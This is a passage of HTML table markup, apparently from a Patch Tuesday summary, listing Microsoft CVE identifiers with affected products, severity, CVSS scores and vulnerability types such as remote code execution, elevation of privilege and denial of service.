  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
